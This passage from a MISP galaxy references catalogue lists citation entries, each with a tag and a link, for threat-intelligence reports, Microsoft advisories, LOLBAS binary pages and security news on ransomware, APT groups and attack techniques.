ImageMagick. (1999, January 1). Mastering Digital Image Alchemy. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="ImageMagick January 1 1999"*

Table 21798. Table References

Links
https://imagemagick.org/

Europol Cobalt Mar 2018

Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.

The tag is: *misp-galaxy:references="Europol Cobalt Mar 2018"*

Table 21799. Table References

Links
https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain

LOLBAS Mavinject

LOLBAS. (n.d.). Mavinject.exe. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="LOLBAS Mavinject"*

Table 21800. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Mavinject/

Mavinject Functionality Deconstructed

Matt Graeber. (2018, May 29). mavinject.exe Functionality Deconstructed. Retrieved September 22, 2021.

The tag is: *misp-galaxy:references="Mavinject Functionality Deconstructed"*

Table 21801. Table References

Links
https://posts.specterops.io/mavinject-exe-functionality-deconstructed-c29ab2cf5c0e

AhnLab Dark Web Trends June 10 2025

ASEC. (2025, June 10). May 2025 Deep Web and Dark Web Trends Report. Retrieved June 13, 2025.

The tag is: *misp-galaxy:references="AhnLab Dark Web Trends June 10 2025"*

Table 21802. Table References

Links
https://asec.ahnlab.com/en/88428/

Sophos Maze VM September 2020

Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020.

The tag is: *misp-galaxy:references="Sophos Maze VM September 2020"*

Table 21803. Table References

Links
https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/

mbed-crypto

ARMmbed. (2018, June 21). Mbed Crypto. Retrieved February 15, 2021.

The tag is: *misp-galaxy:references="mbed-crypto"*

Table 21804. Table References

Links

https://github.com/ARMmbed/mbed-crypto

McAfee REvil October 2019

Saavedra-Morales, J, et al. (2019, October 20). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – Crescendo. Retrieved August 5, 2020.

The tag is: *misp-galaxy:references="McAfee REvil October 2019"*

Table 21805. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-crescendo/

McAfee Sodinokibi October 2019

McAfee. (2019, October 2). McAfee ATR Analyzes Sodinokibi aka REvil Ransomware-as-a-Service – What The Code Tells Us. Retrieved August 4, 2020.

The tag is: *misp-galaxy:references="McAfee Sodinokibi October 2019"*

Table 21806. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/

McAfee Sandworm November 2013

Li, H. (2013, November 5). McAfee Labs Detects Zero-Day Exploit Targeting Microsoft Office. Retrieved June 18, 2020.

The tag is: *misp-galaxy:references="McAfee Sandworm November 2013"*

Table 21807. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs-detects-zero-day-exploit-targeting-microsoft-office-2

McAfee Honeybee

Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.

The tag is: *misp-galaxy:references="McAfee Honeybee"*

Table 21808. Table References

Links
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/

Secureworks MCMD July 2019

Secureworks. (2019, July 24). MCMD Malware Analysis. Retrieved August 13, 2020.

The tag is: *misp-galaxy:references="Secureworks MCMD July 2019"*

Table 21809. Table References

Links
https://www.secureworks.com/research/mcmd-malware-analysis

Purves Kextpocalypse 2

Richard Purves. (2017, November 9). MDM and the Kextpocalypse . Retrieved September 23, 2021.

The tag is: *misp-galaxy:references="Purves Kextpocalypse 2"*

Table 21810. Table References

Links
https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/

MDSec Brute Ratel August 2022

Chell, D. PART 3: How I Met Your Beacon – Brute Ratel. Retrieved February 6, 2023.

The tag is: *misp-galaxy:references="MDSec Brute Ratel August 2022"*

Table 21811. Table References

Links
https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/

Secureworks NICKEL ACADEMY Dec 2017

Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.

The tag is: *misp-galaxy:references="Secureworks NICKEL ACADEMY Dec 2017"*

Table 21812. Table References

Links
https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing

Cybereason Nocturnus MedusaLocker 2020

Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021.

The tag is: *misp-galaxy:references="Cybereason Nocturnus MedusaLocker 2020"*

Table 21813. Table References

Links
https://www.cybereason.com/blog/medusalocker-ransomware

HC3 Analyst Note MedusaLocker Ransomware February 2023

Health Sector Cybersecurity Coordination Center (HC3). (2023, February 24). MedusaLocker Ransomware. Retrieved August 11, 2023.

The tag is: *misp-galaxy:references="HC3 Analyst Note MedusaLocker Ransomware February 2023"*

Table 21814. Table References

Links
https://www.hhs.gov/sites/default/files/medusalocker-ransomware-analyst-note.pdf

Bleeping Computer Medusa Ransomware March 12 2023

Lawrence Abrams. (2023, March 12). Medusa ransomware gang picks up steam as it targets companies worldwide. Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="Bleeping Computer Medusa Ransomware March 12 2023"*

Table 21815. Table References

Links
https://www.bleepingcomputer.com/news/security/medusa-ransomware-gang-picks-up-steam-as-it-targets-companies-worldwide/

Meduza Stealer RussianPanda June 28 2023

RussianPanda. (2023, June 28). Meduza Stealer or The Return of The Infamous Aurora Stealer.

Retrieved October 14, 2024.

The tag is: *misp-galaxy:references="Meduza Stealer RussianPanda June 28 2023"*

Table 21816. Table References

Links
https://russianpanda.com/Meduza-Stealer-or-The-Return-of-The-Infamous-Aurora-Stealer

CyberScoop Babuk February 2021

Lyngaas, S. (2021, February 4). Meet Babuk, a ransomware attacker blamed for the Serco breach. Retrieved August 11, 2021.

The tag is: *misp-galaxy:references="CyberScoop Babuk February 2021"*

Table 21817. Table References

Links
https://www.cyberscoop.com/babuk-ransomware-serco-attack/

CrowdStrike Stardust Chollima Profile April 2018

Meyers, Adam. (2018, April 6). Meet CrowdStrike's Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.

The tag is: *misp-galaxy:references="CrowdStrike Stardust Chollima Profile April 2018"*

Table 21818. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/

CrowdStrike VOODOO BEAR

Meyers, A. (2018, January 19). Meet CrowdStrike's Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.

The tag is: *misp-galaxy:references="CrowdStrike VOODOO BEAR"*

Table 21819. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/

Crowdstrike MUSTANG PANDA June 2018

Meyers, A. (2018, June 15). Meet CrowdStrike's Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021.

The tag is: *misp-galaxy:references="Crowdstrike MUSTANG PANDA June 2018"*

Table 21820. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/

CrowdStrike VENOMOUS BEAR

Meyers, A. (2018, March 12). Meet CrowdStrike's Adversary of the Month for March: VENOMOUS BEAR. Retrieved May 16, 2018.

The tag is: *misp-galaxy:references="CrowdStrike VENOMOUS BEAR"*

Table 21821. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/

Crowdstrike Helix Kitten Nov 2018

Meyers, A. (2018, November 27). Meet CrowdStrike's Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.

The tag is: *misp-galaxy:references="Crowdstrike Helix Kitten Nov 2018"*

Table 21822. Table References

Links
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/

BlackBerry PyXie December 2 2019

Ryan Tracey. (2019, December 2). Meet PyXie: A Nefarious New Python RAT. Retrieved December 19, 2024.

The tag is: *misp-galaxy:references="BlackBerry PyXie December 2 2019"*

Table 21823. Table References

Links

https://blogs.blackberry.com/en/2019/12/meet-pyxie-a-nefarious-new-python-rat

Cloudflare Memcrashed Feb 2018

Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.

The tag is: *misp-galaxy:references="Cloudflare Memcrashed Feb 2018"*

Table 21824. Table References

Links
https://blog.cloudflare.com/memcrashed-major-amplification-attacks-from-port-11211/

Github Mempdump

DiabloHorn. (2015, March 22). mempdump. Retrieved October 6, 2017.

The tag is: *misp-galaxy:references="Github Mempdump"*

Table 21825. Table References

Links
https://github.com/DiabloHorn/mempdump

Palo Alto menuPass Feb 2017

Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.

The tag is: *misp-galaxy:references="Palo Alto menuPass Feb 2017"*

Table 21826. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/

Merlin C2 Agent Menu

Merlin. (n.d.). Merlin C2 Agent Menu. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Merlin C2 Agent Menu"*

Table 21827. Table References

Links
https://merlin-c2.readthedocs.io/en/latest/cli/menu/agents.html

FireEye MESSAGETAP October 2019

Leong, R., Perez, D., Dean, T. (2019, October 31). MESSAGETAP: Who's Reading Your Text Messages?. Retrieved May 11, 2020.

The tag is: *misp-galaxy:references="FireEye MESSAGETAP October 2019"*

Table 21828. Table References

Links
https://www.fireeye.com/blog/threat-research/2019/10/messagetap-who-is-reading-your-text-messages.html

SentinelLabs Metador Technical Appendix Sept 2022

SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.

The tag is: *misp-galaxy:references="SentinelLabs Metador Technical Appendix Sept 2022"*

Table 21829. Table References

Links
https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm

FireEye Metamorfo Apr 2018

Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020.

The tag is: *misp-galaxy:references="FireEye Metamorfo Apr 2018"*

Table 21830. Table References

Links
https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html

Metasploit_Ref

Metasploit. (n.d.). Retrieved December 4, 2014.

The tag is: *misp-galaxy:references="Metasploit_Ref"*

Table 21831. Table References

Links
http://www.metasploit.com

Metasploit SSH Module

undefined. (n.d.). Retrieved April 12, 2019.

The tag is: *misp-galaxy:references="Metasploit SSH Module"*

Table 21832. Table References

Links
https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh

Github Rapid7 Meterpreter Elevate

Rapid7. (2013, November 26). meterpreter/source/extensions/priv/server/elevate/. Retrieved July 8, 2018.

The tag is: *misp-galaxy:references="Github Rapid7 Meterpreter Elevate"*

Table 21833. Table References

Links
https://github.com/rapid7/meterpreter/tree/master/source/extensions/priv/server/elevate

Methods of Mac Malware Persistence

Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.

The tag is: *misp-galaxy:references="Methods of Mac Malware Persistence"*

Table 21834. Table References

Links
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf

MFA Fatigue Attacks - PortSwigger

Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.

The tag is: *misp-galaxy:references="MFA Fatigue Attacks - PortSwigger"*

Table 21835. Table References

Links
https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications

Mftrace.exe - LOLBAS Project

LOLBAS. (2018, May 25). Mftrace.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Mftrace.exe - LOLBAS Project"*

Table 21836. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Mftrace/

Radware Micropsia July 2018

Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.

The tag is: *misp-galaxy:references="Radware Micropsia July 2018"*

Table 21837. Table References

Links
https://www.radware.com/blog/security/2018/07/micropsia-malware/

Optiv Device Code Phishing 2021

Optiv. (2021, August 17). Microsoft 365 OAuth Device Code Flow and Phishing. Retrieved March 19, 2024.

The tag is: *misp-galaxy:references="Optiv Device Code Phishing 2021"*

Table 21838. Table References

Links
https://www.optiv.com/insights/source-zero/blog/microsoft-365-oauth-device-code-flow-and-phishing

Microsoft Midnight Blizzard January 19 2024

MSRC. (2024, January 19). Microsoft Actions Following Attack by Nation State Actor Midnight Blizzard. Retrieved January 24, 2024.

The tag is: *misp-galaxy:references="Microsoft Midnight Blizzard January 19 2024"*

Table 21839. Table References

Links
https://msrc.microsoft.com/blog/2024/01/microsoft-actions-following-attack-by-nation-state-actor-midnight-blizzard/

Microsoft ZINC disruption Dec 2017

Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.

The tag is: *misp-galaxy:references="Microsoft ZINC disruption Dec 2017"*

Table 21840. Table References

Links
https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/

The Hacker News Microsoft DDoS June 19 2023

Ravie Lakshmanan. (2023, June 19). Microsoft Blames Massive DDoS Attack for Azure, Outlook, and OneDrive Disruptions. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="The Hacker News Microsoft DDoS June 19 2023"*

Table 21841. Table References

Links
https://thehackernews.com/2023/06/microsoft-blames-massive-ddos-attack.html

Posts By SpecterOps Team Members 2 5 2024

Andy Robbins. (2024, February 2). Microsoft Breach - What Happened What Should Azure Admins Do. Retrieved February 5, 2024.

The tag is: *misp-galaxy:references="Posts By SpecterOps Team Members 2 5 2024"*

Table 21842. Table References

Links
https://posts.specterops.io/microsoft-breach-what-happened-what-should-azure-admins-do-da2b7e674ebc

Microsoft OAuth 2.0 Consent Phishing 2021

Microsoft 365 Defender Threat Intelligence Team. (2021, June 14). Microsoft delivers comprehensive solution to battle rise in consent phishing emails. Retrieved December 13, 2021.

The tag is: *misp-galaxy:references="Microsoft OAuth 2.0 Consent Phishing 2021"*

Table 21843. Table References

Links

https://www.microsoft.com/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails/

Microsoft Digital Defense 2021

Microsoft. (2021, October). Microsoft Digital Defense Report. Retrieved November 20, 2024.

The tag is: *misp-galaxy:references="Microsoft Digital Defense 2021"*

Table 21844. Table References

Links
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi?id=101738

Microsoft Digital Defense FY20 Sept 2020

Microsoft . (2020, September 29). Microsoft Digital Defense Report FY20. Retrieved April 21, 2021.

The tag is: *misp-galaxy:references="Microsoft Digital Defense FY20 Sept 2020"*

Table 21845. Table References

Links
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWxPuf

BleepingComputer DDE Disabled in Word Dec 2017

Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.

The tag is: *misp-galaxy:references="BleepingComputer DDE Disabled in Word Dec 2017"*

Table 21846. Table References

Links
https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/

Microsoft DuplicateTokenEx

Microsoft TechNet. (n.d.). Retrieved April 25, 2017.

The tag is: *misp-galaxy:references="Microsoft DuplicateTokenEx"*

Table 21847. Table References

Links
https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx

Microsoft Emerald Sleet LinkedIn February 12 2025

Microsoft Threat Intelligence. (2025, February 12). Microsoft Emerald Sleet LinkedIn February 12 2025. Retrieved February 14, 2025.

The tag is: *misp-galaxy:references="Microsoft Emerald Sleet LinkedIn February 12 2025"*

Table 21848. Table References

Links
https://www.linkedin.com/posts/microsoft-threat-intelligence_microsoft-threat-intelligence-has-observed-activity-7295173507116675075-zdla/

Red Canary HTA Abuse Part Deux

McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.

The tag is: *misp-galaxy:references="Red Canary HTA Abuse Part Deux"*

Table 21849. Table References

Links
https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/

Microsoft HTML Help May 2018

Microsoft. (2018, May 30). Microsoft HTML Help 1.4. Retrieved October 3, 2018.

The tag is: *misp-galaxy:references="Microsoft HTML Help May 2018"*

Table 21850. Table References

Links
https://docs.microsoft.com/previous-versions/windows/desktop/htmlhelp/microsoft-html-help-1-4-sdk

Microsoft Identity Platform Access 2019

Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="Microsoft Identity Platform Access 2019"*

Table 21851. Table References

Links
https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens

Microsoft - Azure AD Identity Tokens - Aug 2019

Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.

The tag is: *misp-galaxy:references="Microsoft - Azure AD Identity Tokens - Aug 2019"*

Table 21852. Table References

Links
https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens

Microsoft - OAuth Code Authorization flow - June 2019

Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.

The tag is: *misp-galaxy:references="Microsoft - OAuth Code Authorization flow - June 2019"*

Table 21853. Table References

Links
https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow

Microsoft Identity Platform Protocols May 2019

Microsoft. (n.d.). Retrieved September 12, 2019.

The tag is: *misp-galaxy:references="Microsoft Identity Platform Protocols May 2019"*

Table 21854. Table References

Links
https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols

Microsoft ImpersonateLoggedOnUser

Microsoft TechNet. (n.d.). Retrieved April 25, 2017.

The tag is: *misp-galaxy:references="Microsoft ImpersonateLoggedOnUser"*

Table 21855. Table References

Links
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx

Microsoft Internal Solorigate Investigation Blog

MSRC Team. (2021, February 18). Microsoft Internal Solorigate Investigation – Final Update. Retrieved May 14, 2021.

The tag is: *misp-galaxy:references="Microsoft Internal Solorigate Investigation Blog"*

Table 21856. Table References

Links
https://msrc-blog.microsoft.com/2021/02/18/microsoft-internal-solorigate-investigation-final-update/

Microsoft Albanian Government Attacks September 2022

MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.

The tag is: *misp-galaxy:references="Microsoft Albanian Government Attacks September 2022"*

Table 21857. Table References

Links
https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/

Microsoft LogonUser

Microsoft TechNet. (n.d.). Retrieved April 25, 2017.

The tag is: *misp-galaxy:references="Microsoft LogonUser"*

Table 21858. Table References

Links
https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx

mmc_vulns

Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021.

The tag is: *misp-galaxy:references="mmc_vulns"*

Table 21859. Table References

Links

https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/

Microsoft.NodejsTools.PressAnyKey.exe - LOLBAS Project

LOLBAS. (2022, January 20). Microsoft.NodejsTools.PressAnyKey.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Microsoft.NodejsTools.PressAnyKey.exe - LOLBAS Project"*

Table 21860. Table References

Links
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Microsoft.NodejsTools.PressAnyKey/

FireEye FELIXROOT July 2018

Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="FireEye FELIXROOT July 2018"*

Table 21861. Table References

Links
https://web.archive.org/web/20200607025424/https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html

Irongeek Sims BSides 2017

Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.

The tag is: *misp-galaxy:references="Irongeek Sims BSides 2017"*

Table 21862. Table References

Links
https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims

Microsoft_rec_block_rules

Microsoft. (2021, August 23). Retrieved August 16, 2021.

The tag is: *misp-galaxy:references="Microsoft_rec_block_rules"*

Table 21863. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Microsoft WDAC

Coulter, D. et al.. (2019, April 9). Microsoft recommended block rules. Retrieved August 12, 2021.

The tag is: *misp-galaxy:references="Microsoft WDAC"*

Table 21864. Table References

Links
https://docs.microsoft.com/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules

Microsoft Driver Block Rules

Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021.

The tag is: *misp-galaxy:references="Microsoft Driver Block Rules"*

Table 21865. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules

Microsoft driver block rules - Duplicate

Jordan Geurten et al. . (2022, March 29). Microsoft recommended driver block rules. Retrieved April 7, 2022.

The tag is: *misp-galaxy:references="Microsoft driver block rules - Duplicate"*

Table 21866. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules

Microsoft Register-WmiEvent

Microsoft. (n.d.). Retrieved January 24, 2020.

The tag is: *misp-galaxy:references="Microsoft Register-WmiEvent"*

Table 21867. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1

Microsoft DDoS Attacks Response June 2023

MSRC Team. (2023, June 16). Microsoft Response to Layer 7 Distributed Denial of Service (DDoS) Attacks. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="Microsoft DDoS Attacks Response June 2023"*

Table 21868. Table References

Links
https://msrc.microsoft.com/blog/2023/06/microsoft-response-to-layer-7-distributed-denial-of-service-ddos-attacks/

Microsoft Security Advisory 2269637

Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020.

The tag is: *misp-galaxy:references="Microsoft Security Advisory 2269637"*

Table 21869. Table References

Links
https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637

microsoft remote preloading

Microsoft. (2014, May 13). Microsoft Security Advisory 2269637: Insecure Library Loading Could Allow Remote Code Execution. Retrieved January 30, 2025.

The tag is: *misp-galaxy:references="microsoft remote preloading"*

Table 21870. Table References

Links
https://learn.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637

Microsoft 2269637

Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 Released. Retrieved December 5, 2014.

The tag is: *misp-galaxy:references="Microsoft 2269637"*

Table 21871. Table References

Links
https://msrc-blog.microsoft.com/2010/08/21/microsoft-security-advisory-2269637-released/

Microsoft DDE Advisory Nov 2017

Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.

The tag is: *misp-galaxy:references="Microsoft DDE Advisory Nov 2017"*

Table 21872. Table References

Links
https://technet.microsoft.com/library/security/4053440

Microsoft WDigest Mit

Microsoft. (2014, May 13). Microsoft Security Advisory: Update to improve credentials protection and management. Retrieved June 8, 2020.

The tag is: *misp-galaxy:references="Microsoft WDigest Mit"*

Table 21873. Table References

Links
https://support.microsoft.com/en-us/help/2871997/microsoft-security-advisory-update-to-improve-credentials-protection-a

MS17-010 March 2017

Microsoft. (2017, March 14). Microsoft Security Bulletin MS17-010 - Critical. Retrieved August 17, 2017.

The tag is: *misp-galaxy:references="MS17-010 March 2017"*

Table 21874. Table References

Links
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010

MSTIC GADOLINIUM September 2020

Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021.

The tag is: *misp-galaxy:references="MSTIC GADOLINIUM September 2020"*

Table 21875. Table References

Links
https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/

Microsoft SIR Vol 19

Anthe, C. et al. (2015, October 19). Microsoft Security Intelligence Report Volume 19. Retrieved December 23, 2015.

The tag is: *misp-galaxy:references="Microsoft SIR Vol 19"*

Table 21876. Table References

Links
http://download.microsoft.com/download/4/4/C/44CDEF0E-7924-4787-A56A-16261691ACE3/Microsoft_Security_Intelligence_Report_Volume_19_English.pdf

Microsoft SIR Vol 21

Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.

The tag is: *misp-galaxy:references="Microsoft SIR Vol 21"*

Table 21877. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf

Microsoft Threat Intelligence LinkedIn July 15 2024

Microsoft Threat Intelligence. (2024, July 15). Microsoft Threat Intelligence LinkedIn Q2 2024. Retrieved July 26, 2024.

The tag is: *misp-galaxy:references="Microsoft Threat Intelligence LinkedIn July 15 2024"*

Table 21878. Table References

Links
https://www.linkedin.com/posts/microsoft-threat-intelligence_in-the-second-quarter-of-2024-financially-activity-7218696257739923456-KKy_/

MSTIC Vanilla Tempest September 18 2024

Microsoft Threat Intelligence. (2024, September 18). Microsoft Threat Intelligence LinkedIn Vanilla Tempest. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="MSTIC Vanilla Tempest September 18 2024"*

Table 21879. Table References

Links
https://www.linkedin.com/feed/update/urn:li:activity:7242222140853264385/

Microsoft Threat Intelligence Tweet April 26 2023

MsftSecIntel. (2023, May 26). Microsoft Threat Intelligence Tweet April 26 2023. Retrieved June 16, 2023.

The tag is: *misp-galaxy:references="Microsoft Threat Intelligence Tweet April 26 2023"*

Table 21880. Table References

Links
https://twitter.com/MsftSecIntel/status/1651346653901725696

Microsoft Threat Intelligence Tweet August 17 2023

MsftSecIntel. (2023, August 17). Microsoft Threat Intelligence Tweet August 17 2023. Retrieved September 14, 2023.

The tag is: *misp-galaxy:references="Microsoft Threat Intelligence Tweet August 17 2023"*

Table 21881. Table References

Links
https://twitter.com/MsftSecIntel/status/1692212191536066800

Microsoft Threat Intelligence Tweet June 17 2020

MsftSecIntel. (2020, June 17). Microsoft Threat Intelligence Tweet June 17 2020. Retrieved June 22, 2023.

The tag is: *misp-galaxy:references="Microsoft Threat Intelligence Tweet June 17 2020"*

Table 21882. Table References

Links
https://twitter.com/MsftSecIntel/status/1273359829390655488

Microsoft Threat Intelligence Tweet May 18 2023

MsftSecIntel. (2023, May 18). Microsoft Threat Intelligence Tweet May 18 2023. Retrieved May 25, 2023.

The tag is: *misp-galaxy:references="Microsoft Threat Intelligence Tweet May 18 2023"*

Table 21883. Table References

Links
https://twitter.com/MsftSecIntel/status/1659347799442432002

Wikipedia Windows Library Files

Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017.

The tag is: *misp-galaxy:references="Wikipedia Windows Library Files"*

Table 21884. Table References

Links
https://en.wikipedia.org/wiki/Microsoft_Windows_library_files

Proofpoint Cobalt June 2017

Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.

The tag is: *misp-galaxy:references="Proofpoint Cobalt June 2017"*

Table 21885. Table References

Links
https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target

Microsoft.Workflow.Compiler.exe - LOLBAS Project

LOLBAS. (2018, October 22). Microsoft.Workflow.Compiler.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Microsoft.Workflow.Compiler.exe - LOLBAS Project"*

Table 21886. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Microsoft.Workflow.Compiler/

InfoSecurity Sandworm Oct 2014

Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian ‘Sandworm’ Hackers. Retrieved October 6, 2017.

The tag is: *misp-galaxy:references="InfoSecurity Sandworm Oct 2014"*

Table 21887. Table References

Links
https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/

objective-see windtail1 dec 2018

Wardle, Patrick. (2018, December 20). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 1). Retrieved October 3, 2019.

The tag is: *misp-galaxy:references="objective-see windtail1 dec 2018"*

Table 21888. Table References

Links
https://objective-see.com/blog/blog_0x3B.html

objective-see windtail2 jan 2019

